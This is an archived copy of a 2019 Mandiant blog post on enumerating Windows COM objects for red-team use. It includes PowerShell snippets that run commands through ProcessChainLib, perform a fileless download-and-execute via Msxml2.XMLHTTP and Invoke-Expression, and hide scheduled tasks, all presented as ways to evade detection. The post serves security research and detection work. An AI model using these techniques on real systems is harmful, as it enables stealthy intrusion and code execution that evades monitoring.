{
	"id": "54a060d7-fbdd-4303-8db8-37b59a205a1d",
	"created_at": "2026-04-06T00:18:02.047671Z",
	"updated_at": "2026-04-10T03:22:03.123572Z",
	"deleted_at": null,
	"sha1_hash": "84dbcbb88163292795e103a2dd8a84924694831e",
	"title": "Hunting COM Objects | Mandiant",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 537145,
	"plain_text": "Hunting COM Objects | Mandiant\r\nBy Mandiant\r\nPublished: 2019-06-04 · Archived: 2026-04-05 15:57:20 UTC\r\nWritten by: Charles Hamilton\r\nCOM objects have recently been used by penetration testers, Red Teams, and malicious actors to perform lateral\r\nmovement. COM objects were studied by several other researchers in the past, including Matt Nelson\r\n(enigma0x3), who published a blog post about it in 2017. Some of these COM objects were also added to the\r\nEmpire project. To improve the Red Team practice, FireEye performed research into the available COM objects on\r\nWindows 7 and 10 operating systems. Several interesting COM objects were discovered that allow task\r\nscheduling, fileless download \u0026 execute as well as command execution. Although not security vulnerabilities on\r\ntheir own, usage of these objects can be used to defeat detection based on process behavior and heuristic\r\nsignatures.\r\nWhat is a COM Object?\r\nAccording to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed,\r\nobject-oriented system for creating binary software components that can interact. COM is the foundation\r\ntechnology for Microsoft's OLE (compound documents), ActiveX (Internet-enabled components), as well as\r\nothers.”\r\nCOM was created in the 1990’s as language-independent binary interoperability standard which enables separate\r\ncode modules to interact with each other. This can occur within a single process or cross-process, and Distributed\r\nCOM (DCOM) adds serialization allowing Remote Procedure Calls across the network.\r\nThe term “COM Object” refers to an executable code section which implements one or more interfaces deriving\r\nfrom IUnknown. IUnknown is an interface with 3 methods, which support object lifetime reference counting and\r\ndiscovery of additional interfaces. Every COM object is identified by a unique binary identifier. These 128 bit (16\r\nbyte) globally unique identifiers are generically referred to as GUIDs. When a GUID is used to identify a COM\r\nobject, it is a CLSID (class identifier), and when it is used to identify an Interface it is an IID (interface identifier).\r\nSome CLSIDs also have human-readable text equivalents called a ProgID.\r\nSince COM is a binary interoperability standard, COM objects are designed to be implemented and consumed\r\nfrom different languages. Although they are typically instantiated in the address space of the calling process, there\r\nis support for running them out-of-process with inter-process communication proxying the invocation, and even\r\nremotely from machine to machine.\r\nThe Windows Registry contains a set of keys which enable the system to map a CLSID to the underlying code\r\nimplementation (in a DLL or EXE) and thus create the object.\r\nhttps://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html\r\nPage 1 of 7\n\nMethodology\r\nThe registry key HKEY_CLASSES_ROOT\\CLSID exposes all the information needed to enumerate COM\r\nobjects, including the CLSID and ProgID. The CLSID is a globally unique identifier associated with a COM class\r\nobject. The ProgID is a programmer-friendly string representing an underlying CLSID.\r\nThe list of CLSIDs can be obtained using the following Powershell commands in Figure 1.\r\nNew-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR\r\nGet-ChildItem -Path HKCR:\\CLSID -Name | Select -Skip 1 \u003e clsids.txt\r\nFigure 1: Enumerating CLSIDs under HKCR\r\nThe output will resemble Figure 2.\r\n{0000002F-0000-0000-C000-000000000046}\r\n{00000300-0000-0000-C000-000000000046}\r\n{00000301-A8F2-4877-BA0A-FD2B6645FB94}\r\n{00000303-0000-0000-C000-000000000046}\r\n{00000304-0000-0000-C000-000000000046}\r\n{00000305-0000-0000-C000-000000000046}\r\n{00000306-0000-0000-C000-000000000046}\r\n{00000308-0000-0000-C000-000000000046}\r\n{00000309-0000-0000-C000-000000000046}\r\n{0000030B-0000-0000-C000-000000000046}\r\n{00000315-0000-0000-C000-000000000046}\r\n{00000316-0000-0000-C000-000000000046}\r\nFigure 2:Abbreviated list of CLSIDs from HKCR\r\nWe can use the list of CLSIDs to instantiate each object in turn, and then enumerate the methods and properties\r\nexposed by each COM object. PowerShell exposes the Get-Member cmdlet that can be used to list methods and\r\nproperties on an object easily. Figure 3 shows a PowerShell script to enumerate this information. Where possible\r\nin this study, standard user privileges were used to provide insight into available COM objects under the worst-case scenario of having no administrative privileges.\r\n$Position = 1\r\n$Filename = \"win10-clsid-members.txt\"\r\n$inputFilename = \"clsids.txt\"\r\nForEach($CLSID in Get-Content $inputFilename) {\r\n Write-Output \"$($Position) - $($CLSID)\"\r\n Write-Output \"------------------------\" | Out-File $Filename -Append\r\n Write-Output $($CLSID) | Out-File $Filename -Append\r\n $handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))\r\n $handle | Get-Member | Out-File $Filename -Append\r\nhttps://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html\r\nPage 2 of 7\n\n$Position += 1\r\n}\r\nFigure 3: PowerShell scriptlet used to enumerate available methods and properties\r\nIf you run this script, expect some interesting side-effect behavior such as arbitrary applications being launched,\r\nsystem freezes, or script hangs. Most of these issues can be resolved by closing the applications that were\r\nlaunched or by killing the processes that were spawned.\r\nArmed with a list of all the CLSIDs and the methods and properties they expose, we can begin the hunt for\r\ninteresting COM objects. Most COM servers (code implementing a COM object) are implemented in a DLL\r\nwhose path is stored in the registry key e.g. under InprocServer32. This is useful because reverse engineering may\r\nbe required to understand undocumented COM objects.\r\nOn Windows 7, a total of 8,282 COM objects were enumerated. Windows 10 featured 3,250 new COM objects in\r\naddition to those present on Windows 7. Non-Microsoft COM objects were generally omitted because they cannot\r\nbe reliably expected to be present on target machines, which limits their usefulness to Red Team operations.\r\nSelected Microsoft COM objects from the Windows SDK were included in the study for purposes of targeting\r\ndeveloper machines.\r\nOnce the members were obtained, a keyword-based search approach was used to quickly yield results. For the\r\npurposes of this research, the following keywords were used: execute, exec, spawn, launch, and run.\r\nOne example was the {F1CA3CE9-57E0-4862-B35F-C55328F05F1C} COM object (WatWeb.WatWebObject) on\r\nWindows 7. This COM object exposed a method named LaunchSystemApplication as shown in Figure 4.\r\nFigure 4: WatWeb.WatWebObject methods including the interesting LaunchSystemApplication method\r\nThe InprocServer32 entry for this object was set to C:\\windows\\system32\\wat\\watweb.dll, which is part of\r\nMicrosoft’s Windows Genuine Advantage product key validation system. The LaunchSystemApplication method\r\nexpected three parameters, but this COM object was not well-documented and reverse engineering was required,\r\nmeaning it was time to dig through some assembly code.\r\nOnce C:\\windows\\system32\\wat\\watweb.dll is loaded in your favorite tool (in this case, IDA Pro), it’s time to find\r\nwhere this method is defined. Luckily, in this case, Microsoft exposed debugging symbols, making the reverse\r\nengineering much more efficient. Looking at the disassembly, LaunchSystemApplication calls\r\nLaunchSystemApplicationInternal, which, as one might suspect, calls CreateProcess to launch an application. This\r\nis shown in the Hex-Rays decompiler pseudocode in Figure 5.\r\nhttps://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html\r\nPage 3 of 7\n\nFigure 5: Hex-Rays pseudocode confirming that LaunchSystemApplicationInternal calls CreateProcessW\r\nBut does this COM object allow creation of arbitrary processes? The argument passed to CreateProcess is user-controlled and is derived from the arguments passed to the function. However, notice the call to\r\nCWgpOobWebObjectBaseT::IsApprovedApplication prior to the CreateProcess call. The Hex-Rays pseudocode\r\nfor this method is shown in Figure 6.\r\nFigure 6: Hex-Rays pseudocode for the IsApprovedApplication method\r\nThe user-controlled string is validated against a specific pattern. In this case, the string must match slui.exe.\r\nFurthermore, the user-controlled string is then appended to the system path, meaning it would be necessary to, for\r\ninstance, replace the real slui.exe to circumvent the check. Unfortunately, the validation performed by Microsoft\r\nlimits the usefulness of this method as a general-purpose process launcher.\r\nhttps://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html\r\nPage 4 of 7\n\nIn other cases, code execution was straightforward. For example, the ProcessChain Class with CLSID\r\n{E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E} that is implemented in C:\\Program Files (x86)\\Windows\r\nKits\\10\\App Certification Kit\\prchauto.dll. This COM class can be readily analyzed without looking at any\r\ndisassembly listings, because prchauto.dll contains a TYPELIB resource containing a COM Type Library that can\r\nbe viewed using Oleview.exe. Figure 7 shows the type library for ProcessChainLib, exposing a CommandLine\r\nproperty and a Start method. Start accepts a reference to a Boolean value.\r\nFigure 7: Type library for ProcessChainLib as displayed in Interface Definition Language by Oleview.exe\r\nBased on this, commands can be started as shown in Figure 8.\r\n$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID(\"E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E\"))\r\n$handle.CommandLine = \"cmd /c whoami\"\r\n$handle.Start([ref]$True)\r\nFigure 8: Using the ProcessChainLib COM server to start a process\r\nEnumerating and examining COM objects in this fashion turned up other interesting finds as well.\r\nFileless Download and Execute\r\nFor instance, the COM object {F5078F35-C551-11D3-89B9-0000F81FE221} (Msxml2.XMLHTTP.3.0) exposes\r\nan XML HTTP 3.0 feature that can be used to download arbitrary code for execution without writing the payload\r\nto the disk and without triggering rules that look for the commonly-used System.Net.WebClient. The XML HTTP\r\n3.0 object is usually used to perform AJAX requests. In this case, data fetched can be directly executed using the\r\nInvoke-Expression cmdlet (IEX).\r\nhttps://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html\r\nPage 5 of 7\n\nThe example in Figure 9 executes our code locally:\r\n$o = [activator]::CreateInstance([type]::GetTypeFromCLSID(\"F5078F35-C551-11D3-89B9-0000F81FE221\")); $o.Open(\"GE\r\nFigure 9: Fileless download without System.Net.WebClient\r\nTask Scheduling\r\nAnother example is {0F87369F-A4E5-4CFC-BD3E-73E6154572DD} which implements the Schedule.Service\r\nclass for operating the Windows Task Scheduler Service. This COM object allows privileged users to schedule a\r\ntask on a host (including a remote host) without using the schtasks.exe binary or the at command.\r\n$TaskName = [Guid]::NewGuid().ToString()\r\n$Instance = [activator]::CreateInstance([type]::GetTypeFromProgID(\"Schedule.Service\"))\r\n$Instance.Connect()\r\n$Folder = $Instance.GetFolder(\"\\\")\r\n$Task = $Instance.NewTask(0)\r\n$Trigger = $Task.triggers.Create(0)\r\n$Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay))\r\n$Trigger.EndBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay + 120))\r\n$Trigger.ExecutionTimelimit = \"PT5M\"\r\n$Trigger.Enabled = $True\r\n$Trigger.Id = $Taskname\r\n$Action = $Task.Actions.Create(0)\r\n$Action.Path = “cmd.exe”\r\n$Action.Arguments = “/c whoami”\r\n$Action.HideAppWindow = $True\r\n$Folder.RegisterTaskDefinition($TaskName, $Task, 6, \"\", \"\", 3)\r\nfunction Convert-Date {\r\n param(\r\n [datetime]$Date\r\n )\r\n PROCESS {\r\n $Date.Touniversaltime().tostring(\"u\") -replace \" \",\"T\"\r\n }\r\n}\r\nFigure 10: Scheduling a task\r\nConclusion\r\nCOM objects are very powerful, versatile, and integrated with Windows, which means that they are nearly always\r\navailable. COM objects can be used to subvert different detection patterns including command line arguments,\r\nPowerShell logging, and heuristic detections. Stay tuned for part 2 of this blog series as we will continue to look\r\nat hunting COM objects.\r\nhttps://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html\r\nPage 6 of 7\n\nPosted in\r\nThreat Intelligence\r\nSecurity \u0026 Identity\r\nSource: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html\r\nhttps://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
	],
	"report_names": [
		"hunting-com-objects.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434682,
	"ts_updated_at": 1775791323,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/84dbcbb88163292795e103a2dd8a84924694831e.pdf",
		"text": "https://archive.orkl.eu/84dbcbb88163292795e103a2dd8a84924694831e.txt",
		"img": "https://archive.orkl.eu/84dbcbb88163292795e103a2dd8a84924694831e.jpg"
	}
}